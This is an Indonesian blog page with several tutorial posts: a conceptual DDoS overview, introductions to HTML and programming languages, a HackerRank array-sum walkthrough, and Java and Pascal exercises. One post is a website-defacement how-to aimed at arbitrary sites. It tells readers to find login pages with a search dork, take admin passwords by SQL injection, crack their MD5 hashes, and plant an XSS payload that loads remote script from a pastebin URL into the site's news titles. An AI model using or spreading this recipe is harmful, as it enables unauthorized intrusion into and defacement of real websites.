skip to main | skip to sidebar

Thursday, 11 July 2019

Dos / DDOS ( Distributed Denial of Service )

0 comments
Distibuted Denial of Service atau yang lebih dikenal dengan DDos. DDos adalah sebuah serangan yang ditujukan ke sebuah server sebagai target nya. DDos dilakukan dengan menggunakan banyak komputer untuk mengirimkan traffic atau request ke sebuah server, sehingga traffic server menjadi tinggi dan mengakibatkan down.


Untuk melakukan penyerangan DDos seorang hacker biasanya memerlukan akses online kesebuah  komputer dengan menyebarkan malware pada komputer-komputer yang dituju, dengan demikian komputer yang sudah terkena malware akan menjadi zombie komputer atau dikenal dengan sebutan botnet.


Setelah botnet disiapkan, hacker dapat memberikan instuksi-instruksi kepada botnet untuk mengirimkan traffic kepada target ( berupa ip address ). Setiap botnet akan terus mengirimkan traffic sampai target menjadi down dan tidak dapat diakses.

Penggambaran lain dari  DDos


# Pelayan pusing karena terlalu banyak menerima pesanan yang tidak ada hentinya.

Jenis Jenis DDos :

1. Ping of Death ( POD )
Ping of Death sering digunakan dalam serangkaian penyerangan DDos. POD memanfaatkan besar paket yang dikirim, karena paket yang dikirim bisa dimanipulasi dan bisa melibihi batas normal sehingga membuat target down seketika.

2. SiDDos
SiDDos ( Sql Injection Distibuted Denial of Service ) memanfaatkan bug pada sebuah perintah Sql, dimana attacker. akan menyisipkan sebuah perintah tertentu sehingga server akan menjadi crash seketika.

3. SYN Flood
Serangan ini dilakukan dengan membanjiri dengan request berupa peket SYN atau sinkronisasi. Paket SYN adalah sebuah paket yang mengawali terbentuknya koneksi pada TCP/IP. Ketika paket palsu SYN dikirim ke server maka server akan membalasnya dengan SYN-ACK ke ip palsu (client), sehingga server tidak akan pernah mendapatkan balasan SYN-ACK-ACK dari client. Menerima paket dari client membutuhkan memori atau resource tententu. Sehingga server hanya akan menghabiskan memori untuk menerima request dari paket-paket palsu dari attacker.

Untuk ketiga jenis diatas akan dijelaskan cara penggunaannya pada materi berikutnya. Masih banyak cara-cara yang dapat digunakan untuk melakukan serangkaian DDos. Sekian untuk materi kali ini semoga bermanfaat. Jangan lupa untuk share dan sampai ketemu pada materi selanjutnya.

Pengenalan HTML

0 comments
Hypertext Markup Language atau yang lebih dikenal dengan sebutan HTML adalah sebuah bahasa markah atau markup yang digunakan untuk membangun sebuah website. Website itu nantinya dapat digunakan untuk menampilkan informasi dan data, layanan dll. HTML ditulis dalam format penulisan ASCII karena tampilan yang dihasilkan dapat terintegrasi dengan baik. Untuk saat ini HTML merupakan sebuah standar internet yang diawasi oleh Word Wide Web Consortion ( W3C ).


Hypertext sendiri adalah sebuah text atau dokumen yang yang dapat berpindah ke dokumen atau halaman lainnya dengan mengeklik sebuah objek yang pada umumnya adalah sebuah text. Text yang dapat terlink ke halaman lain di sebut hyperlink. Dengan menggunakan hyperlink akan mempermudah untuk perpindah halaman tanpa mencari halaman yang dituju.

HTML tidak termasuk kedalam bahasa pemrograman karena HTML merupakan bahasa markah yang mengadopsi dari penulisan dokumen. Bahasa markah adalah sebuah bahasa yang menggunakan markah atau tanda jika didalam HTML dikenal dengan sebutan tag. Tag didalam HTML dirancang secara terstruktur sehingga tag tersebut tidak akan tampak saat halaman dibuka, tidak seperti XML yang akan tetap memunculkan tag ketika dibuka.

Fungsi HTML
HTML mengadopsi dari penulisan sebuah dokumen. Hal ini menjadikan HTML memiliki banyak kegunaan. Diantaranya :

1. Menampilkan sebuah informasi layaknya buku atau dokumen.
2. Sebagai form pendaftaran online karena terdapat fitur form.
3. Pondasi dari sebuah website. Semua website pasti dibangun dengan menggunakan HTML.
4. Layanan sebuah produk atau jasa.
5. Linked website. Website yang terhubung dengan website lain.

Struktur Pembangun HTML
HTML dibangun dengan beberapa stuktur seperti berikut ini :

1. Tag
Tag didalam website digunakan sebagai sebuah tanda. Dimana tanda tersebut akan mempengaruhi sebuah objek didalamnya. Jika didalam dokumen bisa diibaratkan dengan memberi tanda garis bawah pada tulisan atau menberi tanda dengan menstabilo tulisan tertentu.

Didalam HTML ada 2 aturan penulisan tag yaitu tag yang memiliki tag penutup dan tag yang tidak memiliki tag penutup.

Contoh tag yang memiliki tag penutup.

<body>perjalananku</body>

Tag "body" memiliki tag penutup. Format tag penutup selalu seperti ini </nama_tag>. Contoh tag yang tidak memiliki tag penutup.

<input type="text">

Tag input tidak memiliki tag penutup. Jika kalian bertanya kenapa ? jawabannya karena itu sudah aturan dari pihak W3C. Atau mungkin jawaban yang lain adalah untuk tag yang memiliki tag penutup digunakan untuk mengatur onjek yang berhubungan dengan tulisan.

Penulisan tag tidak boleh dengan tanda spasi. Tag didalam HTML memiliki keunikan yaitu kalian bisa menuliskan tag dengan nama yang kalian inginkan. Semisal "ibu budi" jika dituliskan kedalam tag HTML menjadi.

<ibubudi>Pergi Belanja</ibubudi>

Tag apapun didalam html akan tetap menjadi tag yang ditulis ( tidak dihilangkan ). Tetapi tag ini memiliki atribut yang tetbatas.

2. Atribut
Atribut adalah sebuah pengaturan atau fitur yang terletak di dalam atribut. Setiap atribut tag pada umumnya memiliki nilai, hanya beberapa yang tidak memiliki nilai. Sebagai contoh pada tag input ( kolom isian ) yang memiliki atribut "type" secara default akan bernilai "text" yang berarti tulisan. Jika nilai "type" diganti dengan "password" maka tulisan yang diketikkan di tag input akan menjadi ****** atau di sensor :D.

<input type="password">

Perkembangan HTML
Untuk saat ini HTML sudah berkembang ke versi HTML yang ke 5. HTML5 di tetapkan sebagai versi HTML yang paling stabil dari versi yang sebelumnya. Penggunaan HTML dari versi ke 1 sampai 3 hanya seperti penulisan dokumen biasa pada umumnya yang tanpa gambar dan hanya tulisan saja.

Pada versi ke 4.01 sudah lebih baik karena disertai dengan link, gambar, form, meta dll. Untuk versi 4.01 hanyalah versi perbaikan dari versi 4.0 karena memiliki beberapa kesalahan. Perkembangan dari HTML 1 ke versi 4 memerlukan waktu yang tidak lama hanya beberapa tahun saja. Namum untuk perkembangan ke HTML5 memerlukan waktu sekitar 14 tahun.

HTML di versi 5 memiliki banyak perkembangan diantaranya adalah penambahan tag seperti header, aside, section dan footer. HTML5 juga mendukung video dan audio player yang dapat digunakan untuk memutar video dan audio tanpa menggunakan plugin tambahan maupun flashplayer. HTML5 juga seudah mendukung canvas yang digunakan untuk menampilkan objek 2 dimensi yang sekarang digunakan untuk membangun sebuah game dengan basis HTML5.

Demikian materi tentang pengenalan HTML semoga bermanfaat. Sekian dari saya dan sampai jumpa pada materi berikutnya.

Wednesday, 10 July 2019

Pengenalan Bahasa Pemrograman

0 comments
Bahasa pemrograman atau bahasa komputer adalah kumpulan instruksi atau perintah-perintah yang digunakan untuk membangun sebuah program komputer. Instruksi atau perintah-perintah ini dinamakan dengan sintaks. Sintaks adalah sebuah aturan atau prinsip yang mencakup struktur kalimat dalam bahasa apapun. Setiap bahasa pemrogaman memiliki aturan dan prinsip penulisan bahasa yang berbeda-beda namun komputer tetap mengerti perintah yang akan dilakukan. Hal ini dikarenakan adanya compiler yang menerjemahkan sintaks-sintaks tersebut kedalam bahasa mesin agar dapat dibaca oleh komputer.


Bahasa pemrograman sangat penting dan wajib bagi seorang Developer. Dalam pembuatan program atau aplikasi bahasa pemrograman yang dibutuhkan harus sesuai dengan kebutuhan aplikasi yang dibuat. Bahasa pemrograman ada bermacam-macam contoh Java, C, C++, C#, Pascal, Go-Lang, Python, JavaScript dan PHP.

Dalam belajar bahasa pemrograman yang harus dikuasai terlebih dahulu adalah algoritma atau langkah-langkah sebuah program. Semisal dari pendefinisian variabel, menggunakan operasi penjumlahan atau pengurangan, menambahkan decision ( if ) dst, yang nantinya akan dibahas pada materi berikutnya. Selain menuliskan algoritma bisa juga dengan menggunakan flowchart untuk mempermudah dalam membuat alur program.

Tingkat Bahasa Pemrograman
Pada umumnya tingakat bahasa pemrograman ada 3 yaitu bahasa pemrograman tingkat rendah, tingat menengah dan tingkat tinggi. Ada juga yang mengelompokan menjadi 4, yang ke empat adalah bahasa pemgraman tingkat sangat-tinggi. Tetapi yang dibahas disini hanya 3 saja.

1. Bahasa Pemrograman Tingkat Rendah
Bahasa pemrograman tingkat rendah adalah sebuah pemgrogaman yang dilakukan dengan menginputkan perintah-perintah secara langsung ke sebuah mesin tanpa menggunakan compiler apapun. Sampai saat ini hampir tidak ada programmer yang menulis program secara langsung kedalam kode mesin karena membutuhkan ketelitian yang khusus dalam menulis sebuah program. Bahasa yang digunakan mesin ini hanya menggunakan angka "0" (nol) dan "1" (satu) atau yang sering dikenal dengan sebutan biner.

2. Bahasa Pemrograman Tingkat Menengah
Bahasa tingkat menengah dalam bahasa pemrograman dikenal dengan sebutan assembly. Assembly cenderung menggunakan singkatan dari perintah-perintah yang disebut dengan mnemonic contohnya seperti MOV, INC, JMP, SUB, JL, LOOP dan DJNZ. Assembly tidak menggunakan compiler untuk diterjemahkan kedalam bahasa mesin tetapi cukup dengan menggunakan loader saja.

Bahasa assembly dikelompokan dengan bahasa tingakat menegah karena penggunaan sintaks yang cukup dengan dengan manusia contoh perintah JCXZ ( Jump if CX Zero ) yang menggunakan bahasa menusia namun hanya disingkat saja.

3. Bahasa Pemrograman Tingkat Tinggi
Yang dimaksudkan tingkat tinggi adalah bukan dilihat dari tingkat kesulitannya, melainkan kedekatan dengan manusia. Bahasa tingkat tinggi mengadopsi bahasa atau kata-kata yang digunakan manusia lebih tepatnya pada bahasa inggris, contoh seperti perintah DO... WHILE, IF... THEN, FOR, CONTINUE dan BREAK. Kedekatan bahasa program dengan manusia menyebabkan komputer tidak memahami program atau perintah yang dimaksud untuk itu dibutuhkan sebuah perantara yang disebut dengan compiler yang akan menerjemahkan kedalam bahasa mesin.

Contoh bahasa pemrograman tingkat tinggi :
- Java
- C / C++
- JavaScript
- Python
- PHP
- SQL

Demikian materi tentang bahasa pemrograman semoga bermanfaat dan sampai jumpa pada materi berikutnya.

Simple Array Sum - Hacker Rank

0 comments
HackerRank adalah platform teknologi perekrutan yang merupakan standar untuk menilai kemampuan developer dari 1.000 lebih perusahaan di seluruh dunia. Dengan memungkinkan perekrut teknologi dan perekrutan manajer untuk secara objektif mengevaluasi kemampuan pada setiap tahap proses perekrutan, HackerRank membantu perusahaan merekrut developer yang terampil dan yang lebih cepat berinovasi. About HackerRank.


Kali ini saya akan membahas setiap soal dari level Easy sampai Hard. Selain kita membahas soal-soal yang ada di hackerrank, saya juga memperkenalkan kepada kalian sebuah platform dimana kalian dapat melatih skill, logika atau algoritma kalian. Platform ini sudah tersedia dengan banyak bahasa pemrograman yang terkenal seperi Java, Python, Javascript, Swift dll.

Materi atau persoalan pertama sangat mudah sekali, yaitu penjumlahan simple pada array. Simple Array Sum.

Array yaitu sekumpulan data dengan tipe data tertentu. Contoh :
1. Sekumpulan data dengan tipe data string ( text atau tulisan )
buah = ['jeruk', 'mangga', 'apel']

2. Sekumpulan data dengan tipe data integer ( angka )
angka = [1, 10, 5, 2, 3]

Pada kasus Simple Array Sum kita disuruh untuk menjumlahkan data didalam array berupa angka. Contoh array yang diberikan :

ar = [1,2,3] maka kita harus menjumlahkannya seperti ini 1 + 2 + 3 = 6, untuk menjumlahkan semua data pada array ada beberapa langkah yang harus di lalukan. 1. Mengambil panjang data. Misal pada contoh array di atas panjang datanya adalah 3 karena ada 3 data.

2. Mengambil nilai dari setiap array. Array memiliki index atau urutan data yang selalu dimulai dari 0. Misal mengambil data pada contoh di atas. Format : nama_variabel[index]

ar[-1]  = index out of bound. Nilai index tidak boleh kurang dari 0.
ar[0] = 1
ar[1] = 2
ar[2] = 3
ar[3] = index out of bound. Nilai index tidak boleh lebih dari panjang datanya.

Jika sudah mengerti cara mengambil panjang data dan nilai di setiap index. Sekarang adalah membuat sebuah algorima. Yang kita butuhkan adalah bagaimana caranya untuk mengambil data dari index 0 sampai index maksimalnya. Kita membutuhkan sebuah perualangan ( looping ) agar nilai indexnya bisa dijumlahkan terus menerus ( index++ ) tetapi kita harus batasi index sehingga tidak boleh lebih dari panjang data ( index < panjang_data) atau ( panjang_data - 1 ).

Algoritmanya seperti ini :
// Kita membuat variabel untuk menampung total penjumlahan
total = 0

// lalu kita membuat sebuah perulangan
index = 0
loop index to panjang_data(array) - 1 do

   // nilai total diganti dengan nilai total sebelumnya ditambah nilai array
   total = total + array[index]

   // nilai index diganti dengan nilai index sebelumnya ditambah 1
   index = index + 1
end loop
return total // return adalah nilai yang diberikan kepada sebuah fungsi. akan dibahas pada materi selanjutnya

Sekarang kita membuat programnya. Saya akan mencontohkan program dalam bahasa pemrograman  Javascript.


Terakhir, klik Submit Code untuk mengirimkan Code dan akan di uji coba dengan beberapa inputan data. Jika berhasil akan ada pemberitahuan pada kotak hijau.

"Congratulations"
"You solved this challenge. Would you like to challenge your friends?"

Oke, segitu saja untuk pembahasan kali ini semoga bermanfaat. Jika ada yang belum dipahami silahkan tulis dikolom komentar atau bisa hubungi kontak yang tersedia.

Wednesday, 3 July 2019

Deface Website dengan XSS dan SQLi

0 comments
Pada materi sebelumnya sudah dijelaskan mengenai XSS dan juga SQL Injection. Sekarang kita gunakan dua metode tersebut untuk mendeface sebuah website. Biasanya setelah kita login sebagai admin terkadang panel adminnya mempunyai fitur yang sangat terbatas seperti contoh menambahkan berita, galeri dan informasi yang lain. Sekarang kita akan mendeface website dengan dua metode tersebut. SQL Injection digunakan untuk melihat akun admin dan XSS digunakan untuk mengubah tampilan website.



Seperti biasa saya tidak akan memberikan target tertentu. Untuk mencari website-website yang memiliki form login bisa gunakan dork ini.

inurl: login

Tutorial SQL Injection kalian bisa kunjungi materi SQL Injection dan untuk XSS bisa kunjungi materi XSS yang sudah tersedia. Kalau kalian sudah berhasil menemukan username dan password admin, cek terlebih dahulu apakah passwordnya terenkripsi atau tidak, biasanya password di enkripsi dengan MD5. Password yang di enkripsi MD5 bisa kalian dekripsi dengan tools yang beredar di internet salah satunya adalah MD5 Online.

Masukan password yang terenkripsi ke kalam kotak yang disediakan kan klik tombol Decrypt, tunggu hingga proses nya selesai.

Biasanya website terdapat berita atau informasi lain yang dimunculkan di halaman utama website. Nah, itu akan kita jadikan sebagai target deface website tanpa mengubah file indexnya.


Setelah kalian masuk ke panel Admin kalian bisa mengganti atau menambahkan berita dengan disisipkan script deface. Kalian bisa menggunakan script deface dari saya. Masukan payload XSS ke judul berita.

Payload : <script type="text/javascript" src="https://pastebin.com/raw/xqcAm4nU">

Simpan beritanya dan kunjungi halaman utama website. Jika berhasil website akan berganti tampilan.


Jika ada yang belum dimengerti silahkan tulis dikolom komentar atau kirim pesan pada kontak yang tersedia. Sekian untuk materi kali ini, semoga bermanfaat dan sampai jumpa pada materi berikutnya.

Pencarian Karakter Pada Array - Java

0 comments
Lagi-lagi dari branly saya melihat ada membuat pertanyaan untuk membuat sebuah program untuk mencari sebuah character dalam susunan array yang berisi banyak character. Character yang dicari diinputkan secara manual, jika ada character dalah susunan array tadi maka akan ditampilkan "ADA" dan ditampilkan juga berapa banyaknya, jika tidak ada maka ditampilkan tulisan "TIDAK ADA".


Algoritma :
1. Array Char -> [B][U][D][I][ ][L][U][H][U][R]
2. jumlah -> 0, untuk menyimpan jumlah character yang ditemukan.
3. kata -> diambil dari inputan.
4. Kata yang dicari dibandingkan dengan setiap character di dalam array sampai character yang terakhir, jika ada maka jumlah akan ditambah 1.
5. Jika jumlah lebih dari 0, tampilkan "ADA" dan tampilkan jumlah.
6. Jika jumlah sama dengan 0, tampilkan "TIDAK ADA".

Source Kode Program dengan Bahasa Java.

package testbrainly;

import java.util.Scanner;
/**
 * @author Ven DS
 */
public class TestBrainly {
    public static void main(String[] args) {
        Scanner scan = new Scanner(System.in);
       
        char data1[] = {'B', 'U', 'D', 'I', ' ', 'L', 'U', 'H', 'U', 'R'};
        int cariJumlah = 0; // Menampung jumlah huruf yang ditemukan
       
        System.out.print("Masukan Huruf yang Dicari - ");
       
        // charAt(0), hanya huruf pertama yang diambil dari inputan
        char cariKata = (scan.nextLine()).charAt(0);
       
        // Pencarian Huruf
        for(int z = 0; z < data1.length; z++) {
            // Jika ada huruf yang cocok cariJumlah + 1
            if(cariKata == data1[z]) {
                cariJumlah++;
            }
        }
       
        if(cariJumlah > 0) {
            System.out.println("ADA");
            System.out.println(cariJumlah);
        }
        else {
            System.out.println("TIDAK ADA");
        }
    }
}

Output dari program nya seperti ini.



Untuk pertanyaan seputar bahasa pemrograman bisa kalian tanyakan di Brainly atau kontak yang tersedia, saya akan berusaha untuk menjelaskannya dengan detail. Sekian untuk materi kali ini, sampai jumpa pada materi berikutnya.

Program Penjumalahan Matriks - Pascal

0 comments
Saya menemukan pertanyaan di website Brainly.co.id yang pastinya tentang TI yaitu membuat sebuah program untuk menghitung matrik. Matrik 1 ditambahkan Matrik 2 dan hasilnya di tampilkan. Bahasa pemrograman yang digunakan adalah Pascal.


Untuk kode programnya sendiri seperti ini dan cukup simple, saya hanya akan menjelaskan di bagian perulangan ( FOR ) saja. Perulangan yang digunakan adalah Nested Loop atau perulangan yang bersarang atau perulangan yang berada didalam perulangan.

program matriks_ku;
uses crt;
var
   {* Variable Matrik 1 *}
   matrik1: array[0..2,0..2] of integer;

   {* Variable Matrik 2 *}
   matrik2: array[0..2,0..2] of integer;

   {* Variable Hasil Penjumlahan Matrik *}
   matrikH: array[0..2,0..2] of integer;

   { * Variable untuk Perulangan *}
   i: integer;
   j: integer;

begin
     clrscr;

     matrik1[0,0]:= 1;
     matrik1[0,1]:= 2;
     matrik1[1,0]:= 2;
     matrik1[1,1]:= 3;

     matrik2[0,0]:= 2;
     matrik2[0,1]:= 2;
     matrik2[1,0]:= 3;
     matrik2[1,1]:= 2;

     for i:=0 to 1 do begin
         for j:= 0 to 1 do begin
             matrikH[i,j]:= matrik1[i,j] + matrik2[i,j];
         end;
     end;

     writeln('Hasil Penjumlahan Matrik');

     for i:=0 to 1 do begin
         for j:= 0 to 1 do begin
             write(matrikH[i,j],' ');
         end;
         writeln('');
     end;

     readln;
end.

Sebelumnya perlu diketahui terlebih dahulu untuk penggunaan array 2 dimensi. Array 2D bekerja seperi table yang ada didalam Microsoft Excel ada kolom dan ada baris. Didalam array selalu diawali dengan index atau uratan ke 0 seperti didalam gambar.


Logika Nested Loop didalam program. Contoh Array menggunakan variable Matrik1.
Array Matrik1 =
[1, 2]
[2, 3]

FOR yang pertama untuk baris dari array.
FOR yang kedua untuk kolom dari array.

for -> i ke 0 -> baris array yang diambil adalah [1, 2]
    for -> j ke 0 -> mengambil nilai index ke 0 -> yaitu 1
    for -> j ke 1 -> mengambil nilai index ke 1 -> yaitu 2
for -> i ke 1 -> baris array yang diambil adalah [2, 3]
    for -> j ke 0 -> mengambil nilai index ke 0 -> yaitu 2
    for -> j ke 1 -> mengambil nilai index ke 1 -> yaitu 3

Output Program


Untuk pertanyaan seputar bahasa pemrograman bisa kalian tanyakan di Brainly, saya akan berusaha untuk menjelaskannya dengan detail. Sekian untuk materi kali ini, sampai jumpa pada materi berikutnya.